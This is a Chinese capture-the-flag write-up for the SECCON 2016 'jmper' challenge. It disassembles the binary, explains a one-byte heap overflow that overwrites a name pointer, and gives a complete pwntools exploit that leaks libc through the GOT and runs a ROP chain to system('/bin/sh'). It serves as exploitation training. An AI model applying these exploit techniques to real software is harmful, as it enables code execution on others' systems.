pwn SECCONCTF2016 jmper
题目复现
$ file jmper
jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped
$ checksec -f jmper
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Full RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 4 jmper
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.4.
64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。
在 Ubuntu-14.04 上玩一下:
$ LD_PRELOAD=./libc-2.19.so ./jmper
Welcome to my class.
My class is up to 30 people :)
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
1
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
2
ID:0
Input name:AAAA
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
3
ID:0
Input memo:BBBB
1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
4
ID:0
AAAA1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
5
ID:0
BBBB1. Add student.
2. Name student.
3. Write memo
4. Show Name
5. Show memo.
6. Bye :)
6
似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。
题目解析
程序主要由两部分组成,一个是 main()
函数,另一个是实现了所有功能的 f()
函数。
main
[0x00400730]> pdf @ main
/ (fcn) main 170
| main ();
| ; var int local_4h @ rbp-0x4
| ; DATA XREF from 0x0040074d (entry0)
| 0x00400ba8 push rbp
| 0x00400ba9 mov rbp, rsp
| 0x00400bac sub rsp, 0x10
| 0x00400bb0 mov rax, qword [obj.stdin] ; [0x602018:8]=0
| 0x00400bb7 mov ecx, 0
| 0x00400bbc mov edx, 2
| 0x00400bc1 mov esi, 0
| 0x00400bc6 mov rdi, rax
| 0x00400bc9 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x00400bce mov rax, qword [sym.stdout] ; loc.stdout ; [0x602010:8]=0
| 0x00400bd5 mov ecx, 0
| 0x00400bda mov edx, 2
| 0x00400bdf mov esi, 0
| 0x00400be4 mov rdi, rax
| 0x00400be7 call sym.imp.setvbuf ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
| 0x00400bec mov edi, str.Welcome_to_my_class. ; 0x400d88 ; "Welcome to my class."
| 0x00400bf1 call sym.imp.puts ; int puts(const char *s)
| 0x00400bf6 mov edi, str.My_class_is_up_to_30_people_: ; 0x400da0 ; "My class is up to 30 people :)"
| 0x00400bfb call sym.imp.puts ; int puts(const char *s)
| 0x00400c00 mov edi, 0xf0 ; 240
| 0x00400c05 call sym.imp.malloc ; my_class = malloc(0xf0) 分配 my_class 数组
| 0x00400c0a mov qword [obj.my_class], rax ; [0x602030:8]=0
| 0x00400c11 mov edi, 0xc8 ; 200
| 0x00400c16 call sym.imp.malloc ; jmpbuf = malloc(0xc8) 分配 jmpbuf 结构体
| 0x00400c1b mov qword [obj.jmpbuf], rax ; [0x602038:8]=0
| 0x00400c22 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0
| 0x00400c29 mov rdi, rax
| 0x00400c2c call sym.imp._setjmp ; setjmp(jmpbuf) 保存上下文到 jmpbuf
| 0x00400c31 mov dword [local_4h], eax
| 0x00400c34 cmp dword [local_4h], 0 ; 将 setjmp 返回值与 0 比较
| ,=< 0x00400c38 jne 0x400c41 ; 不等于时跳转
| | 0x00400c3a call sym.f ; 否则调用函数 f(),进入主要程序逻辑
| ,==< 0x00400c3f jmp 0x400c4b
| || ; JMP XREF from 0x00400c38 (main)
| |`-> 0x00400c41 mov edi, str.Nice_jump__Bye_: ; 0x400dbf ; "Nice jump! Bye :)"
| | 0x00400c46 call sym.imp.puts ; int puts(const char *s)
| | ; JMP XREF from 0x00400c3f (main)
| `--> 0x00400c4b mov eax, 0
| 0x00400c50 leave
\ 0x00400c51 ret
[0x00400730]> is ~my_class
055 0x00002030 0x00602030 GLOBAL OBJECT 8 my_class
[0x00400730]> is ~jmpbuf
065 0x00002038 0x00602038 GLOBAL OBJECT 8 jmpbuf
[0x00400730]> iS ~bss
24 0x00002010 0 0x00602010 48 --rw- .bss
在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 my_class
(0x00602030
)。另一块用于存放一个 jmp_buf
结构体,这个结构体中保存当前上下文,结构体的地址放在 jmpbuf
(0x00602038
)。并且这两个符号都在 .bss
段中。
这里就涉及到 setjmp()
和 longjmp()
的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下:
#include <setjmp.h>
int setjmp(jmp_buf env);
void longjmp(jmp_buf env, int val);
setjmp()
:将函数在此处的上下文保存到jmp_buf
结构体,以供 longjmp 从此结构体中恢复env
:保存上下文的jmp_buf
结构体变量- 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。
longjmp()
:从jmp_buf
结构体中恢复由 setjmp 函数保存的上下文,该函数不返回,而是从 setjmp 函数中返回env
:由 setjmp 函数保存的上下文val
:传递给 setjmp 函数的返回值,如果val
值为 0,setjmp 将会返回 1,否则返回val
。
longjmp()
执行完之后,程序就回到了 setjmp()
的下一条语句继续执行。
f
接下来我们看一下各功能的实现(程序设计真的要吐槽一下):
[0x00400730]> pdf @ sym.f
/ (fcn) sym.f 907
| sym.f ();
| ; var int local_1dh @ rbp-0x1d
| ; var int local_1ch @ rbp-0x1c
| ; var int local_18h @ rbp-0x18
| ; var int local_14h @ rbp-0x14
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00400c3a (main)
| 0x0040081d push rbp
| 0x0040081e mov rbp, rsp
| 0x00400821 sub rsp, 0x20
| 0x00400825 mov dword [obj.student_num], 0 ; [0x602028:4]=0
| ; JMP XREF from 0x00400ba3 (sym.f)
| .-> 0x0040082f mov edi, str.1._Add_student.__2._Name_student.__3._Write_memo__4._Show_Name__5._Show_memo.__6._Bye_: ; 0x400ce8 ; "1. Add student.\n2. Name student.\n3. Write memo\n4. Show Name\n5. Show memo.\n6. Bye :)" ; 循环开始
| : 0x00400834 call sym.imp.puts ; int puts(const char *s)
| : 0x00400839 lea rax, [local_18h]
| : 0x0040083d mov rsi, rax
| : 0x00400840 mov edi, 0x400d3c
| : 0x00400845 mov eax, 0
| : 0x0040084a call sym.imp.__isoc99_scanf ; 读入选项到 [local_18h]
| : 0x0040084f call sym.imp.getchar ; int getchar(void)
| : 0x00400854 mov eax, dword [local_18h]
| : 0x00400857 cmp eax, 1 ; 1
| ,==< 0x0040085a jne 0x4008e8
| |: 0x00400860 mov eax, dword [obj.student_num] ; [0x602028:4]=0 ; 选项 1 ; 取出已有 student 数
| |: 0x00400866 cmp eax, 0x1d ; 29 ; 与最大值比较
| ,===< 0x00400869 jle 0x400889 ; 小于等于 30 时跳转
| ||: 0x0040086b mov edi, str.Exception_has_occurred._Jump ; 0x400d3f ; 否则调用 longjmp 返回到 main
| ||: 0x00400870 call sym.imp.puts ; int puts(const char *s)
| ||: 0x00400875 mov rax, qword [obj.jmpbuf] ; [0x602038:8]=0 ; 取出 jmpbuf 结构体
| ||: 0x0040087c mov esi, 0x1bf52 ; setjmp 返回值为 0x1bf52
| ||: 0x00400881 mov rdi, rax
| ||: 0x00400884 call sym.imp.longjmp ; longjmp(jmpbuf, 0x1bf52)
| ||: ; JMP XREF from 0x00400869 (sym.f)
| `---> 0x00400889 mov edi, 0x30 ; '0' ; 48
| |: 0x0040088e call sym.imp.malloc ; malloc(0x30) ; 分配一个 student 结构
| |: 0x00400893 mov qword [local_8h], rax ; 将 student 地址放到 [local_8h]
| |: 0x00400897 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x0040089d movsxd rdx, eax
| |: 0x004008a0 mov rax, qword [local_8h]
| |: 0x004008a4 mov qword [rax], rdx ; 将 student_num 作为该 student->id
| |: 0x004008a7 mov edi, 0x20 ; 32
| |: 0x004008ac call sym.imp.malloc ; malloc(0x20) ; 分配一块空间作为 name
| |: 0x004008b1 mov rdx, rax
| |: 0x004008b4 mov rax, qword [local_8h]
| |: 0x004008b8 mov qword [rax + 0x28], rdx ; 将 name 的地址放到 student->name
| |: 0x004008bc mov rax, qword [obj.my_class] ; [0x602030:8]=0
| |: 0x004008c3 mov edx, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x004008c9 movsxd rdx, edx
| |: 0x004008cc mov rcx, qword [local_8h]
| |: 0x004008d0 mov qword [rax + rdx*8], ; 将新分配的 student 地址放到 my_class[id]
| |: 0x004008d4 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| |: 0x004008da add eax, 1 ; student_num + 1
| |: 0x004008dd mov dword [obj.student_num], eax ; [0x602028:4]=0 ; 写回 student_num
| ,===< 0x004008e3 jmp 0x400ba3 ; 回到菜单
| ||: ; JMP XREF from 0x0040085a (sym.f)
| |`--> 0x004008e8 mov eax, dword [local_18h]
| | : 0x004008eb cmp eax, 2 ; 2
| |,==< 0x004008ee jne 0x4009b3
| ||: 0x004008f4 mov esi, 0x400d5d ; 选项 2
| ||: 0x004008f9 mov edi, 0x400d61
| ||: 0x004008fe mov eax, 0
| ||: 0x00400903 call sym.imp.printf ; int printf(const char *format)
| ||: 0x00400908 lea rax, [local_1ch]
| ||: 0x0040090c mov rsi, rax
| ||: 0x0040090f mov edi, 0x400d3c
| ||: 0x00400914 mov eax, 0
| ||: 0x00400919 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| ||: 0x0040091e call sym.imp.getchar ; int getchar(void)
| ||: 0x00400923 mov edx, dword [local_1ch]
| ||: 0x00400926 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| ||: 0x0040092c cmp edx, eax ; 判断 id 是否有效
| ,====< 0x0040092e jge 0x400937 ; 无效时跳转
| |||: 0x00400930 mov eax, dword [local_1ch]
| |||: 0x00400933 test eax, eax ; 根据 id 设置符号位
| ,=====< 0x00400935 jns 0x40094b ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||: ; JMP XREF from 0x0040092e (sym.f)
| |`----> 0x00400937 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| | ||: 0x0040093c call sym.imp.puts ; int puts(const char *s)
| | ||: 0x00400941 mov edi, 1
| | ||: 0x00400946 call sym.imp.exit ; void exit(int status)
| | ||: ; JMP XREF from 0x00400935 (sym.f)
| `-----> 0x0040094b mov esi, str.Input_name: ; 0x400d70 ; "Input name:"
| ||: 0x00400950 mov edi, 0x400d61
| ||: 0x00400955 mov eax, 0
| ||: 0x0040095a call sym.imp.printf ; int printf(const char *format)
| ||: 0x0040095f mov rax, qword [obj.my_class] ; [0x602030:8]=0
| ||: 0x00400966 mov edx, dword [local_1ch]
| ||: 0x00400969 movsxd rdx, edx
| ||: 0x0040096c mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| ||: 0x00400970 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
| ||: 0x00400974 mov qword [local_10h], rax ; 放到 [local_10h]
| ||: 0x00400978 mov dword [local_14h], 0 ; 循环计数 i 初始化为 0
| ,====< 0x0040097f jmp 0x4009a8 ; 进入循环
| |||: ; JMP XREF from 0x004009ac (sym.f)
| .-----> 0x00400981 call sym.imp.getchar ; int getchar(void)
| :|||: 0x00400986 mov byte [local_1dh], al ; 读入一个字节到 [local_1dh]
| :|||: 0x00400989 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
| ,======< 0x0040098d jne 0x400995 ; 非换行符时跳转
| |:|||: 0x0040098f nop
| ,=======< 0x00400990 jmp 0x400ba3 ; 否则回到菜单
| ||:|||: ; JMP XREF from 0x0040098d (sym.f)
| |`------> 0x00400995 mov rax, qword [local_10h]
| | :|||: 0x00400999 movzx edx, byte [local_1dh]
| | :|||: 0x0040099d mov byte [rax], dl ; 写入该字节写入 name
| | :|||: 0x0040099f add qword [local_10h], 1 ; name = name + 1
| | :|||: 0x004009a4 add dword [local_14h], 1 ; i = i + 1
| | :|||: ; JMP XREF from 0x0040097f (sym.f)
| | :`----> 0x004009a8 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
| | `=====< 0x004009ac jle 0x400981 ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| | ,====< 0x004009ae jmp 0x400ba3 ; 否则回到菜单
| | |||: ; JMP XREF from 0x004008ee (sym.f)
| | ||`--> 0x004009b3 mov eax, dword [local_18h]
| | || : 0x004009b6 cmp eax, 3 ; 3
| | ||,==< 0x004009b9 jne 0x400a7e
| | |||: 0x004009bf mov esi, 0x400d5d ; 选项 3
| | |||: 0x004009c4 mov edi, 0x400d61
| | |||: 0x004009c9 mov eax, 0
| | |||: 0x004009ce call sym.imp.printf ; int printf(const char *format)
| | |||: 0x004009d3 lea rax, [local_1ch]
| | |||: 0x004009d7 mov rsi, rax
| | |||: 0x004009da mov edi, 0x400d3c
| | |||: 0x004009df mov eax, 0
| | |||: 0x004009e4 call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| | |||: 0x004009e9 call sym.imp.getchar ; int getchar(void)
| | |||: 0x004009ee mov edx, dword [local_1ch]
| | |||: 0x004009f1 mov eax, dword [obj.student_num] ; [0x602028:4]=0
| | |||: 0x004009f7 cmp edx, eax ; 判断 id 是否有效
| | ,=====< 0x004009f9 jge 0x400a02 ; 无效时跳转
| | ||||: 0x004009fb mov eax, dword [local_1ch]
| | ||||: 0x004009fe test eax, eax ; 根据 id 设置符号位
| |,======< 0x00400a00 jns 0x400a16 ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||: ; JMP XREF from 0x004009f9 (sym.f)
| ||`-----> 0x00400a02 mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| || |||: 0x00400a07 call sym.imp.puts ; int puts(const char *s)
| || |||: 0x00400a0c mov edi, 1
| || |||: 0x00400a11 call sym.imp.exit ; void exit(int status)
| || |||: ; JMP XREF from 0x00400a00 (sym.f)
| |`------> 0x00400a16 mov esi, str.Input_memo: ; 0x400d7c ; "Input memo:"
| | |||: 0x00400a1b mov edi, 0x400d61
| | |||: 0x00400a20 mov eax, 0
| | |||: 0x00400a25 call sym.imp.printf ; int printf(const char *format)
| | |||: 0x00400a2a mov rax, qword [obj.my_class] ; [0x602030:8]=0
| | |||: 0x00400a31 mov edx, dword [local_1ch]
| | |||: 0x00400a34 movsxd rdx, edx
| | |||: 0x00400a37 mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| | |||: 0x00400a3b add rax, 8 ; 取出 my_class[id]->memo
| | |||: 0x00400a3f mov qword [local_10h], rax ; 放到 [local_10h]
| | |||: 0x00400a43 mov dword [local_14h], 0 ; 循环计数 i,初始化为 0
| | ,=====< 0x00400a4a jmp 0x400a73 ; 进入循环
| | ||||: ; JMP XREF from 0x00400a77 (sym.f)
| |.------> 0x00400a4c call sym.imp.getchar ; int getchar(void)
| |:||||: 0x00400a51 mov byte [local_1dh], al
| |:||||: 0x00400a54 cmp byte [local_1dh], 0xa ; [0xa:1]=255 ; 10
| ========< 0x00400a58 jne 0x400a60
| |:||||: 0x00400a5a nop
| ========< 0x00400a5b jmp 0x400ba3
| |:||||: ; JMP XREF from 0x00400a58 (sym.f)
| --------> 0x00400a60 mov rax, qword [local_10h]
| |:||||: 0x00400a64 movzx edx, byte [local_1dh]
| |:||||: 0x00400a68 mov byte [rax], dl
| |:||||: 0x00400a6a add qword [local_10h], 1
| |:||||: 0x00400a6f add dword [local_14h], 1
| |:||||: ; JMP XREF from 0x00400a4a (sym.f)
| |:`-----> 0x00400a73 cmp dword [local_14h], 0x20 ; [0x20:4]=-1 ; 32
| |`======< 0x00400a77 jle 0x400a4c ; 当小于等于 32 字节时继续循环,即读入 33 字节,存在溢出
| | ,=====< 0x00400a79 jmp 0x400ba3 ; 否则回到菜单
| | ||||: ; JMP XREF from 0x004009b9 (sym.f)
| | |||`--> 0x00400a7e mov eax, dword [local_18h]
| | ||| : 0x00400a81 cmp eax, 4 ; 4
| | |||,==< 0x00400a84 jne 0x400b0d
| | ||||: 0x00400a8a mov esi, 0x400d5d ; 选项 4
| | ||||: 0x00400a8f mov edi, 0x400d61
| | ||||: 0x00400a94 mov eax, 0
| | ||||: 0x00400a99 call sym.imp.printf ; int printf(const char *format)
| | ||||: 0x00400a9e lea rax, [local_1ch]
| | ||||: 0x00400aa2 mov rsi, rax
| | ||||: 0x00400aa5 mov edi, 0x400d3c
| | ||||: 0x00400aaa mov eax, 0
| | ||||: 0x00400aaf call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| | ||||: 0x00400ab4 call sym.imp.getchar ; int getchar(void)
| | ||||: 0x00400ab9 mov edx, dword [local_1ch]
| | ||||: 0x00400abc mov eax, dword [obj.student_num] ; [0x602028:4]=0
| | ||||: 0x00400ac2 cmp edx, eax ; 判断 id 是否有效
| |,======< 0x00400ac4 jge 0x400acd ; 无效时跳转
| ||||||: 0x00400ac6 mov eax, dword [local_1ch]
| ||||||: 0x00400ac9 test eax, eax ; 根据 id 设置符号位
| ========< 0x00400acb jns 0x400ae1 ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||: ; JMP XREF from 0x00400ac4 (sym.f)
| |`------> 0x00400acd mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| | ||||: 0x00400ad2 call sym.imp.puts ; int puts(const char *s)
| | ||||: 0x00400ad7 mov edi, 1
| | ||||: 0x00400adc call sym.imp.exit ; void exit(int status)
| | ||||: ; JMP XREF from 0x00400acb (sym.f)
| --------> 0x00400ae1 mov rax, qword [obj.my_class] ; [0x602030:8]=0
| | ||||: 0x00400ae8 mov edx, dword [local_1ch]
| | ||||: 0x00400aeb movsxd rdx, edx
| | ||||: 0x00400aee mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| | ||||: 0x00400af2 mov rax, qword [rax + 0x28] ; [0x28:8]=-1 ; 取出 my_class[id]->name
| | ||||: 0x00400af6 mov rsi, rax
| | ||||: 0x00400af9 mov edi, 0x400d61
| | ||||: 0x00400afe mov eax, 0
| | ||||: 0x00400b03 call sym.imp.printf ; 打印出 my_class[id]->name
| |,======< 0x00400b08 jmp 0x400ba3 ; 回到菜单
| ||||||: ; JMP XREF from 0x00400a84 (sym.f)
| |||||`--> 0x00400b0d mov eax, dword [local_18h]
| ||||| : 0x00400b10 cmp eax, 5 ; 5
| |||||,==< 0x00400b13 jne 0x400b99
| ||||||: 0x00400b19 mov esi, 0x400d5d ; 选项 5
| ||||||: 0x00400b1e mov edi, 0x400d61
| ||||||: 0x00400b23 mov eax, 0
| ||||||: 0x00400b28 call sym.imp.printf ; int printf(const char *format)
| ||||||: 0x00400b2d lea rax, [local_1ch]
| ||||||: 0x00400b31 mov rsi, rax
| ||||||: 0x00400b34 mov edi, 0x400d3c
| ||||||: 0x00400b39 mov eax, 0
| ||||||: 0x00400b3e call sym.imp.__isoc99_scanf ; 读入 id 到 [local_1ch]
| ||||||: 0x00400b43 call sym.imp.getchar ; int getchar(void)
| ||||||: 0x00400b48 mov edx, dword [local_1ch]
| ||||||: 0x00400b4b mov eax, dword [obj.student_num] ; [0x602028:4]=0
| ||||||: 0x00400b51 cmp edx, eax ; 判断 id 是否有效
| ========< 0x00400b53 jge 0x400b5c ; 无效时跳转
| ||||||: 0x00400b55 mov eax, dword [local_1ch]
| ||||||: 0x00400b58 test eax, eax ; 根据 id 设置符号位
| ========< 0x00400b5a jns 0x400b70 ; 符号位为 0 时跳转,即 id 大于等于 0
| ||||||: ; JMP XREF from 0x00400b53 (sym.f)
| --------> 0x00400b5c mov edi, str.Invalid_ID. ; 0x400d64 ; "Invalid ID."
| ||||||: 0x00400b61 call sym.imp.puts ; int puts(const char *s)
| ||||||: 0x00400b66 mov edi, 1
| ||||||: 0x00400b6b call sym.imp.exit ; void exit(int status)
| ||||||: ; JMP XREF from 0x00400b5a (sym.f)
| --------> 0x00400b70 mov rax, qword [obj.my_class] ; [0x602030:8]=0
| ||||||: 0x00400b77 mov edx, dword [local_1ch]
| ||||||: 0x00400b7a movsxd rdx, edx
| ||||||: 0x00400b7d mov rax, qword [rax + rdx*8] ; 取出 my_class[id]
| ||||||: 0x00400b81 add rax, 8 ; 取出 my_class[id]->memo
| ||||||: 0x00400b85 mov rsi, rax
| ||||||: 0x00400b88 mov edi, 0x400d61
| ||||||: 0x00400b8d mov eax, 0
| ||||||: 0x00400b92 call sym.imp.printf ; 打印出 my_class[id]->memo
| ========< 0x00400b97 jmp 0x400ba3 ; 回到菜单
| ||||||: ; JMP XREF from 0x00400b13 (sym.f)
| |||||`--> 0x00400b99 mov edi, 0
| ||||| : 0x00400b9e call sym.imp.exit ; void exit(int status)
| ||||| | ; XREFS: JMP 0x00400b97 JMP 0x00400b08 JMP 0x00400a79 JMP 0x00400a5b JMP 0x004009ae JMP 0x00400990 JMP 0x004008e3
\ `````-`=< 0x00400ba3 jmp 0x40082f ; 循环继续
[0x00400730]> is ~student_num
048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num
首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 exit()
,另一个是 longjmp()
跳回 main 函数,既然这么设置那当然是有用意的。
通过分析,可以得到 student 结构体和数组 my_class:
struct student {
uint8_t id;
char memo[0x20];
char *name;
} student;
struct student *my_class[0x1e];
漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。
漏洞利用
所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system(‘/bin/sh’) 获得 shell。
overflow
def overflow():
add() # idx 0
add() # idx 1
raw_input("#")
write_memo(0, 'A'*0x20 + '\x78')
首先添加两个 student:
gdb-peda$ p student_num
$1 = 0x2
gdb-peda$ x/2gx my_class
0x603010: 0x00000000006031e0 0x0000000000603250
gdb-peda$ x/30gx *my_class-0x10
0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0
0x6031e0: 0x0000000000000000 0x0000000000000000 <-- my_class[0]->name <-- my_class[0]->memo
0x6031f0: 0x0000000000000000 0x0000000000000000
0x603200: 0x0000000000000000 0x0000000000603220 <-- my_class[0]->name
0x603210: 0x0000000000000000 0x0000000000000031 <-- name chunk 0
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000041 <-- student chunk 1
0x603250: 0x0000000000000001 0x0000000000000000 <-- my_class[1]->name <-- my_class[1]->memo
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
0x603280: 0x0000000000000000 0x0000000000000031 <-- name chunk 1
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk
然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name:
gdb-peda$ x/30gx *my_class-0x10
0x6031d0: 0x0000000000000000 0x0000000000000041
0x6031e0: 0x0000000000000000 0x4141414141414141
0x6031f0: 0x4141414141414141 0x4141414141414141
0x603200: 0x4141414141414141 0x0000000000603278 <-- my_class[0]->name
0x603210: 0x0000000000000000 0x0000000000000031
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000041
0x603250: 0x0000000000000001 0x0000000000000000
0x603260: 0x0000000000000000 0x0000000000000000
0x603270: 0x0000000000000000 0x0000000000603290 <-- my_class[1]->name
0x603280: 0x0000000000000000 0x0000000000000031
0x603290: 0x0000000000000000 0x0000000000000000
0x6032a0: 0x0000000000000000 0x0000000000000000
0x6032b0: 0x0000000000000000 0x0000000000020d51
通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。
leak
然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息:
def leak():
global system_addr
global main_ret_addr
write_name(0, p64(elf.got['puts']))
show_name(1)
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
environ_addr = libc_base + libc.symbols['environ']
write_name(0, p64(environ_addr))
show_name(1)
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
main_ret_addr = stack_addr - 0xf0
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
log.info("main return address: 0x%x" % main_ret_addr)
于是我们就得到了 system 函数的地址和 main 函数的返回地址。
这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。
[*] libc base: 0x7ffff7a15000
[*] system address: 0x7ffff7a5b590
[*] main return address: 0x7fffffffed78
overwrite
def overwrite():
write_name(0, p64(0x602028)) # student_num
write_name(1, '/bin/sh\x00')
write_name(0, p64(main_ret_addr))
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
接下来我们将 student_num 改为 ‘/bin/sh’,这样一方面为 system 提供了参数,另一方面可以触发 longjmp。
gdb-peda$ x/s 0x602028
0x602028 <student_num>: "/bin/sh"
gdb-peda$ x/3gx 0x7fffffffed78
0x7fffffffed78: 0x0000000000400cc3 0x0000000000602028
0x7fffffffed88: 0x00007ffff7a5b590
pwn
def pwn():
add() # call longjmp to back to main
io.interactive()
Bingo!!!
$ python exp.py
[+] Starting local process './jmper': pid 3935
[*] Switching to interactive mode
Exception has occurred. Jump!
Nice jump! Bye :)
$ whoami
firmy
exploit
完整的 exp 如下:
#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
io = process(['./jmper'], env={'LD_PRELOAD':'./libc-2.19.so'})
elf = ELF('jmper')
libc = ELF('libc-2.19.so')
pop_rdi_ret = 0x400cc3
def add():
io.sendlineafter("Bye :)\n", '1')
def write_name(idx, content):
io.sendlineafter("Bye :)\n", '2')
io.sendlineafter("ID:", str(idx))
io.sendlineafter("name:", content)
def write_memo(idx, content):
io.sendlineafter("Bye :)\n", '3')
io.sendlineafter("ID:", str(idx))
io.sendlineafter("memo:", content)
def show_name(idx):
io.sendlineafter("Bye :)\n", '4')
io.sendlineafter("ID:", str(idx))
def show_memo(idx):
io.sendlineafter("Bye :)\n", '5')
io.sendlineafter("ID:", str(idx))
def overflow():
add() # idx 0
add() # idx 1
write_memo(0, 'A'*0x20 + '\x78')
def leak():
global system_addr
global main_ret_addr
write_name(0, p64(elf.got['puts']))
show_name(1)
puts_addr = (u64(io.recvline()[:6] + '\x00'*2))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
environ_addr = libc_base + libc.symbols['environ']
write_name(0, p64(environ_addr))
show_name(1)
stack_addr = u64(io.recvline()[:6] + '\x00'*2)
main_ret_addr = stack_addr - 0xf0
log.info("libc base: 0x%x" % libc_base)
log.info("system address: 0x%x" % system_addr)
log.info("main return address: 0x%x" % main_ret_addr)
def overwrite():
write_name(0, p64(0x602028)) # student_num
write_name(1, '/bin/sh\x00')
write_name(0, p64(main_ret_addr))
write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh')
def pwn():
add() # call longjmp to back to main
io.interactive()
if __name__ == "__main__":
overflow()
leak()
overwrite()
pwn()
参考资料
- https://ctftime.org/task/3169
Comments